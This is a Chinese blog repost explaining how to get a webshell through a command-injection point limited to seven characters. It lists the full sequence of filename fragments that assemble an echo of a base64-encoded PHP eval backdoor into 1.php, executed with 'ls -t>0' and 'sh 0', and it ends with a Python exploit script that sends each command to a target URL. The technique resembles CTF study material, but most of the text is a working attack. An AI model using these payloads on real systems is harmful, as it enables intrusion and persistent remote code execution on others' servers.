概述
可控字符串长度受限情况下GetShell
- 思路分析
- 利用案例
- EXP
环境:命令执行只允许输入七个字符,尝试写入webshell
思路分析
通过创建特殊的文件名(含有php代码),创建完后使用ls命令:ls>0 (把当前目录下所有的文件名写入到文件0中)。
shell命令太长,受长度限制,可以使用 “” 来分割,实现换行输入,最后写入到一个新的文件,然后执行:sh 0。文件0 执行后产生 1.php 就是写入的php马。
注:要考虑写入的先后顺序问题,使用ls可以加上-t参数来排序(最新创建的在最前面)默认按照数字在前,字母顺序排列 ;webshell最好采用base64编码,避免一些特殊字符转义问题。
利用案例
# 加两个反斜杠是为了转义后面那个反斜杠
w>hp
w>1.p
w>d>
w> -
w>e64
w>bas
w>7|
w>XSk
w>Fsx
w>dFV
w>kX0
w>bCg
w>XZh
w>AgZ
w>waH
w>PD9
w>o
w>ech
ls -t>0 # 按照时间排序,最后创建的在最前面
sh 0
# 文件0 中的内容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
# 执行:sh 0,即可生成 1.php
EXP
由于命令较多,手工测试较为麻烦,直接写个脚本
import requests
url1 = "http://IP/index.php?shell="
with open("command.txt", "r") as f:
for i in f:
url = url1 + i.strip()
requests.get(url)
# print "已经请求%S" % url
res = requests.get("http://IP/1.php")
if res.status_code:
print 'ok'
最后
以上就是缓慢水池为你收集整理的可控字符串长度受限情况下GetShell思路分析利用案例EXP的全部内容,希望文章能够帮你解决可控字符串长度受限情况下GetShell思路分析利用案例EXP所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复